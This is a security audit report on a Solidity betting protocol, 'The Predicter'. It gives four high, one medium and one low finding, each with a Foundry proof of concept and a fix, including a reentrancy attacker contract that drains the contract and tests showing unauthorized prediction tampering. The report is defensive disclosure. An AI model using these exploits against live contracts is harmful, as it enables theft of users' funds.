The Predicter Audit Report

Version 1.0

Lulox

July 28, 2024

The Predicter Audit Report

Lulox

July 28, 2024

Prepared by: Lulox Lead Auditors:

- Lulox

Table of Contents

Protocol Summary

A football tournament viewing and betting event is organized in a hall with a capacity of 30 people, utilizing a Web 3-based betting protocol on the Arbitrum blockchain. The protocol includes roles for an Organizer, Users, and Players. Users can register and be approved as Players, who then pay prediction fees to participate in betting on match outcomes. Points are awarded based on prediction accuracy, and rewards are distributed from a prize fund at the end of the tournament. The system ensures fairness and security, protecting against potential malicious actions from unknown participants.

Disclaimer

The Lulox team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash: `839bfa56fe0066e7f5610197a6b670c26a4c0879`

Scope

```
./src
#-- src
|   #-- Scoreboard.sol
|   #-- ThePredicter.sol
```

Solc Version: 0.8.20 Chain(s) to deploy contract to: Arbitrum

Roles

The protocol have the following roles: Organizer, User and Player. Everyone can be a User and after approval of the Organizer can become a Player. Ivan has the roles of both Organizer and Player. Ivan's 15 friends are Players. These 16 people are considered honest and trusted. They will not intentionally take advantage of vulnerabilities in the protocol. The Users and the other 14 people with the role of Players are unknown and the protocol must be protected from any malicious actions by them.

- Organizer: Approves users to become players and sets the results of the matches. Can be a player too.
- User: A user who can register to become a player.
- Player: An approved user that can make predictions and win prizes.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	1
Low	1
Info	0
Gas	0
Total	6

Findings

High

[H-1] Reentrancy in `ThePredicter::cancelRegistration` allows attacker to drain the contract funds

Description:

The way `ThePredicter::cancelRegistration` handles the cashback and subsequent update of state doesn't follow CEI (Checks - Effects - Interactions), which allows an attacker to drain the contract funds by deploying a malicious contract that calls `cancelRegistration` every time it receives funds until it drains the contract.

Impact: The whole contract balance can be drained by an attacker at any time.

Proof of Concept:

Import the following contract into `ThePredicter.test.sol`:

```
contract ReentrancyAttacker {
    ThePredicter public thePredicter;
    address public owner;

    constructor(ThePredicter _thePredicter) {
        thePredicter = _thePredicter;
        owner = msg.sender;
    }

    function attack() public payable {
        thePredicter.register{value: 0.04 ether}();
        thePredicter.cancelRegistration();
        (bool success,) = payable(owner).call{value: address(this).
           balance}("");
        (success);
    }

    receive() external payable {
        if (address(thePredicter).balance >= 0.04 ether) {
            thePredicter.cancelRegistration();
        }
    }
}
```

And include the following test into `ThePredicter.test.sol`:

```
  function test_reentrancyInCancelRegistration() public {
        address stranger2 = makeAddr("stranger2");
        address stranger3 = makeAddr("stranger3");

        vm.startPrank(stranger2);
        vm.deal(stranger2, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger3);
        vm.deal(stranger3, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        // Stranger is carrying out the attack
        vm.startPrank(stranger);
        vm.deal(stranger, 1 ether);
        ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(thePredicter);
        reentrancyAttacker.attack{value: 0.04 ether}();
        vm.stopPrank();

        // 1 ether + 2 * 0.04 ether = 1.08 ether
        assertEq(stranger.balance, 1.08 ether);
        assertEq(address(thePredicter).balance, 0 ether);
    }
```

Recommended Mitigation:

Make the following changes to `ThePredicter::cancelRegistration`:

```
 function cancelRegistration() public {
    if (playersStatus[msg.sender] == Status.Pending) {
+           playersStatus[msg.sender] = Status.Canceled;
          (bool success,) = msg.sender.call{value: entranceFee}("");
          require(success, "Failed to withdraw");
-           playersStatus[msg.sender] = Status.Canceled;
          return;
    }
    revert ThePredicter__NotEligibleForWithdraw();
  }
```

[H-2] Malicious player can change other players' predictions even after the result is in

Description:

Lack of access control in `ScoreBoard::setPrediction` allows a malicious player to change other players' predictions even after the result is in.

Impact:

A malicious player can make themselves the winner of the game by making other players lose. Also, this can be used to change their own predictions to make them correct.

Proof of Concept:

Insert the following test into `ThePredicter.test.sol`:

```
function test_maliciousPlayerCanSetOtherPlayersResult() public {
        address maliciousPlayer = makeAddr("maliciousPlayer");

        vm.deal(stranger, 0.0002 ether);
        vm.deal(maliciousPlayer, 0.0002 ether);

        vm.warp(2);
        vm.startPrank(stranger);
        thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.
            Result.First);
        vm.stopPrank();
        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.prank(maliciousPlayer);
        // Malicious player sets the incorrect result,
        // changing the score for stranger from 2 to -1
        scoreBoard.setPrediction(address(stranger), 0, ScoreBoard.
            Result.Draw);

        assertEq(scoreBoard.getPlayerScore(stranger), -1);
    }
```

Recommended Mitigation:

Make the `ScoreBoard::setPrediction` function only callable by `ThePredicter::makePrediction` function, which sets predictions only for the player calling the function

```
- function setPrediction(address player, uint256 matchNumber, Result
    result) public {
+ function setPrediction(address player, uint256 matchNumber, Result
    result) public onlyThePredicter {
```

[H-3] Unapproved player can join and claim prize because of `ThePredicter::makePredictions` lack of checking if the player is approved to bet

Description:

A malicious attacker can bet on winners using `ThePredicter::makePredictions` and claim the prize even if they are not approved to play.

Impact:

Valid players get less prize money (or none at all) because of the attacker's actions.

Proof of Concept:

Proof of Code

Import this test into `ThePredicter.test.sol`:

```solidity
function test_unapprovedPlayerCanJoinAndClaimPrize() public {
        address stranger2 = makeAddr("stranger2");
        address stranger3 = makeAddr("stranger3");
        vm.startPrank(stranger);
        vm.deal(stranger, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger2);
        vm.deal(stranger2, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger3);
        vm.deal(stranger3, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.approvePlayer(stranger);
        thePredicter.approvePlayer(stranger2);
        thePredicter.approvePlayer(stranger3);
        vm.stopPrank();

        vm.startPrank(stranger);
        thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.
            Result.Draw);
        thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.
            Result.Draw);
        thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.
            Result.Draw);
        vm.stopPrank();

        vm.startPrank(stranger2);
        thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.
            Result.Draw);
        thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.
            Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.
            Result.First);
        vm.stopPrank();

        vm.startPrank(stranger3);
        thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.deal(attacker, 1 ether);
        thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
        thePredicter.withdraw();
        assertEq(attacker.balance, 1.0797 ether);
        vm.stopPrank();
    }
```

Recommended Mitigation:

Add this check to `ThePredicter::makePrediction`:

```
  function makePrediction(uint256 matchNumber, ScoreBoard.Result prediction) public payable {
+         require(playersStatus[msg.sender] == Status.Approved, "ThePredicter: Unauthorized access");
        if (msg.value != predictionFee) {
            revert ThePredicter__IncorrectPredictionFee();
        }

        if (block.timestamp > START_TIME + matchNumber * 68400 - 68400)
             {
            revert ThePredicter__PredictionsAreClosed();
        }

        scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
        scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
    }
```

[H-4] `ScoreBoard::isEligibleForReward` prevents players to withdraw rewards with only one prediction

Description: The way `ScoreBoard::isEligibleForReward` is implemented prevents players from withdrawing rewards if they have only one prediction, even if it's a winning one.

Impact: Players that have placed only one bet are unable to withdraw their winnings, even if they have won.

Proof of Concept:

Proof of Code

Import the following test to `ThePredicter.test.sol`:

```
function test_cannotWithdrawRewardsWithOnlyOnePrediction() public {
        address stranger2 = makeAddr("stranger2");
        address stranger3 = makeAddr("stranger3");

        vm.startPrank(stranger);
        vm.deal(stranger, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger2);
        vm.deal(stranger2, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger3);
        vm.deal(stranger3, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.approvePlayer(stranger);
        thePredicter.approvePlayer(stranger2);
        thePredicter.approvePlayer(stranger3);
        vm.stopPrank();

        vm.startPrank(stranger);
        // Stranger makes only one prediction, and a winning one
        thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.
            Result.First);
        vm.stopPrank();

        vm.startPrank(stranger2);
        thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.
            Result.Draw);
        thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.
            Result.Draw);
        thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.
            Result.Draw);
        vm.stopPrank();

        vm.startPrank(stranger3);
        thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.
            Result.Draw);
        thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.
            Result.Draw);
        thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.
            Result.Draw);
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        // However, when attempting to withdraw the rewards, the player
             is not eligible
        // because of `ScoreBoard::isEligibleForReward` function
        vm.expectRevert(abi.encodeWithSelector(
            ThePredicter__NotEligibleForWithdraw.selector));
        vm.startPrank(stranger);
        thePredicter.withdraw();
        vm.stopPrank();
    }
```

Recommended Mitigation:

Make the following changes to `ScoreBoard::isEligibleForReward`:

```diff
  function isEligibleForReward(address player) public view returns (
     bool) {
-        return results[NUM_MATCHES - 1] != Result.Pending &&
    playersPredictions[player].predictionsCount > 1;
+        return results[NUM_MATCHES - 1] != Result.Pending &&
    playersPredictions[player].predictionsCount >= 1;
     }
```

Mid

[M-1] Wrong time calculation in `ScoreBoard::setPrediction` prevents players from calling `ThePredicter::makePrediction` for the first round

Description:

Incorrect calculation of time in the time condition of `setPrediction` prevents players from calling `ThePredicter::makePrediction` for the first round, because it calculates a time that's before the `ScoreBoard::START_TIME`.

Impact:

Players won't be able to make predictions for the first round, which makes them lose a point in the game.

Proof of Concept:

Proof of Code

Import the following test to `ThePredicter.test.sol`:

```solidity
function test_wrongTimeCalculationInSetPrediction() public {
        uint256 START_TIME = 1723752000; // Thu Aug 15 2024 20:00:00
            GMT+0000
        uint256 MATCH_NUMBER = 0;

        // START_TIME - 14400 is the deadline to register
        vm.warp(START_TIME - 14400); // Thu Aug 15 2024 16:00:00 GMT
            +0000

        vm.deal(stranger, 1 ether);
        vm.prank(stranger);
        thePredicter.register{value: 0.04 ether}();

        vm.prank(organizer);
        thePredicter.approvePlayer(stranger);

        uint256 oneSecondAfterDeadlineToMakePredictions = START_TIME + MATCH_NUMBER * 68400 - 68400 + 1;
        console.log("One second after deadline time: ", oneSecondAfterDeadlineToMakePredictions);
        console.log("Start time: ", START_TIME);
        assert(START_TIME > oneSecondAfterDeadlineToMakePredictions);

        // The time is set to 1723752000 + 0 * 68400 - 68400 + 1= 1723683601
        // This is less than START_TIME which is 1723752000
        // Therefore, the prediction for the first match isn't possible
        vm.warp(oneSecondAfterDeadlineToMakePredictions);
        vm.expectRevert(abi.encodeWithSelector(ThePredicter__PredictionsAreClosed.selector));
        vm.prank(stranger);
        thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.Draw);
    }
```

Recommended Mitigation:

Make the following changes to `ScoreBoard::setPrediction`, to be compliant with this phrase of the documentation:

"Every day from 20:00:00 UTC one match is played. Until 19:00:00 UTC on the day of the match, predictions can be made by any approved Player. Players pay prediction fee when making their first prediction for each match."

That's why we're multiplying matchNumber by 86400 (24 hours) and then adding 82800 (23 hours) to the result:

```
 function setPrediction(address player, uint256 matchNumber, Result result) public {
-        if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
+        if (block.timestamp <= START_TIME + matchNumber * 86400 + 82800) {
             playersPredictions[player].predictions[matchNumber] = result;
```

Low

[L-1] Lack of function to update predictions as specified on project's documentation

Description:

Documentation states that "No second prediction fee is due if any Player desires to change an already paid prediction". However, there's no way to change a prediction, only to make a new one. If that's the case, it shouldn't charge for a `predictionFee` twice.

Impact:

Players can't update their predictions without having to pay again the fee for the prediction.

Recommended Mitigation:

Implement the following changes to `ThePredicter::makePrediction`:

```
  function makePrediction(uint256 matchNumber, ScoreBoard.Result
     prediction) public payable {
+    // Check if the player has already paid for this prediction
+    if (!scoreBoard.playersPredictions(msg.sender).isPaid[matchNumber
    ]) {
+        if (msg.value != predictionFee) {
+            revert ThePredicter__IncorrectPredictionFee();
+        }
+
+        // Mark the prediction as paid in the ScoreBoard contract
+        scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
+    } else {
+        require(msg.value == 0, "No fee required for changing an
    already paid prediction");
     }

     if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
         revert ThePredicter__PredictionsAreClosed();
     }

-     scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
     scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
  }
```